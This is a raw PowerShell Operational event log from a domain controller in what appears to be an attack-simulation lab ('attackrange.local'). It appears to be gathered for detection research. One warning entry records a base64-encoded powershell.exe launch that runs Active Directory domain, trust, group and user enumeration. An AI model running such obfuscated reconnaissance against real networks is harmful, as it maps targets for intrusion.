06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480301
Keywords=None
Message=Started invocation of ScriptBlock ID: 308f3dbb-cf50-4092-8d0d-dd65d9e35c61
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1480300
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?
ScriptBlock ID: 308f3dbb-cf50-4092-8d0d-dd65d9e35c61
Path:
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 43f888a7-0483-439d-9f1a-6e1bdcbc951d
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480298
Keywords=None
Message=Completed invocation of ScriptBlock ID: eccab9db-d433-45cb-aed5-f3b60812bc34
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480297
Keywords=None
Message=Completed invocation of ScriptBlock ID: de87a201-ca50-441a-b4ab-eaee9df24093
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480296
Keywords=None
Message=Started invocation of ScriptBlock ID: de87a201-ca50-441a-b4ab-eaee9df24093
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480295
Keywords=None
Message=Completed invocation of ScriptBlock ID: dd37da7f-6674-4ccd-8270-88bef5b90f95
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480294
Keywords=None
Message=Started invocation of ScriptBlock ID: dd37da7f-6674-4ccd-8270-88bef5b90f95
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480293
Keywords=None
Message=Completed invocation of ScriptBlock ID: f6f039fa-41fc-4cde-9136-4525af211fd6
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480292
Keywords=None
Message=Completed invocation of ScriptBlock ID: d43844aa-2f00-46fa-b848-0e54a3f862e8
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5cc2863e-5758-4cef-848c-0f2c7674fae9
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480290
Keywords=None
Message=Started invocation of ScriptBlock ID: 5cc2863e-5758-4cef-848c-0f2c7674fae9
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480289
Keywords=None
Message=Started invocation of ScriptBlock ID: d43844aa-2f00-46fa-b848-0e54a3f862e8
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480288
Keywords=None
Message=Started invocation of ScriptBlock ID: f6f039fa-41fc-4cde-9136-4525af211fd6
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480287
Keywords=None
Message=Started invocation of ScriptBlock ID: eccab9db-d433-45cb-aed5-f3b60812bc34
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480286
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1834f129-12c6-42ae-8515-e1d68f8e7173
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480285
Keywords=None
Message=Started invocation of ScriptBlock ID: 1834f129-12c6-42ae-8515-e1d68f8e7173
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480284
Keywords=None
Message=Completed invocation of ScriptBlock ID: eccab9db-d433-45cb-aed5-f3b60812bc34
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480283
Keywords=None
Message=Completed invocation of ScriptBlock ID: de87a201-ca50-441a-b4ab-eaee9df24093
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480282
Keywords=None
Message=Started invocation of ScriptBlock ID: de87a201-ca50-441a-b4ab-eaee9df24093
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1480281
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: de87a201-ca50-441a-b4ab-eaee9df24093
Path:
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480280
Keywords=None
Message=Completed invocation of ScriptBlock ID: dd37da7f-6674-4ccd-8270-88bef5b90f95
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480279
Keywords=None
Message=Started invocation of ScriptBlock ID: dd37da7f-6674-4ccd-8270-88bef5b90f95
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1480278
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: dd37da7f-6674-4ccd-8270-88bef5b90f95
Path:
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480277
Keywords=None
Message=Completed invocation of ScriptBlock ID: f6f039fa-41fc-4cde-9136-4525af211fd6
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480276
Keywords=None
Message=Completed invocation of ScriptBlock ID: d43844aa-2f00-46fa-b848-0e54a3f862e8
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5cc2863e-5758-4cef-848c-0f2c7674fae9
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480274
Keywords=None
Message=Started invocation of ScriptBlock ID: 5cc2863e-5758-4cef-848c-0f2c7674fae9
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480273
Keywords=None
Message=Started invocation of ScriptBlock ID: d43844aa-2f00-46fa-b848-0e54a3f862e8
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480272
Keywords=None
Message=Started invocation of ScriptBlock ID: f6f039fa-41fc-4cde-9136-4525af211fd6
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1480271
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: f6f039fa-41fc-4cde-9136-4525af211fd6
Path:
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480270
Keywords=None
Message=Started invocation of ScriptBlock ID: eccab9db-d433-45cb-aed5-f3b60812bc34
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1834f129-12c6-42ae-8515-e1d68f8e7173
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480268
Keywords=None
Message=Started invocation of ScriptBlock ID: 1834f129-12c6-42ae-8515-e1d68f8e7173
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4100
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Executing Pipeline
OpCode=To be used when an exception is raised
RecordNumber=1480267
Keywords=None
Message=Error Message = Cannot find an object with identity: ''' under: 'DC=attackrange,DC=local'.
Fully Qualified Error ID = ActiveDirectoryCmdlet:Microsoft.ActiveDirectory.Management.ADIdentityNotFoundException,Microsoft.ActiveDirectory.Management.Commands.GetADGroupMember
Context:
Severity = Warning
Host Name = ConsoleHost
Host Version = 5.1.14393.4402
Host ID = d23634a1-fa16-4ec9-8f18-365cacf61399
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -E ZwBlAHQALQBuAGUAdABkAG8AbQBhAGkAbgB0AHIAdQBzAHQAOwAgAGcAZQB0AC0AbgBlAHQAZgBvAHIAZQBzAHQAdAByAHUAcwB0ADsAIABnAGUAdAAtAGEAZABkAG8AbQBhAGkAbgA7ACAAZwBlAHQALQBhAGQAZwByAG8AdQBwAG0AZQBtAGIAZQByADsAIABnAGUAdAAtAGQAbwBtAGEAaQBuAHUAcwBlAHIA
Engine Version = 5.1.14393.4402
Runspace ID = eb15df6a-cb8f-414d-b537-2b34749ddbd2
Pipeline ID = 1
Command Name = Get-ADGroupMember
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 17
User = ATTACKRANGE\administrator
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
06/15/2021 07:49:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480318
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a4ee5a7-ece1-4f0c-86e6-e22a1bdda822
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 0b5231a3-1db5-43d2-9eb0-401665885c39
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480316
Keywords=None
Message=Completed invocation of ScriptBlock ID: eda41651-1787-4040-9bcf-8a7b86e8123f
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480315
Keywords=None
Message=Started invocation of ScriptBlock ID: eda41651-1787-4040-9bcf-8a7b86e8123f
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480314
Keywords=None
Message=Started invocation of ScriptBlock ID: 0b5231a3-1db5-43d2-9eb0-401665885c39
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1480313
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 0b5231a3-1db5-43d2-9eb0-401665885c39
Path:
06/15/2021 07:49:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a4ee5a7-ece1-4f0c-86e6-e22a1bdda822
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361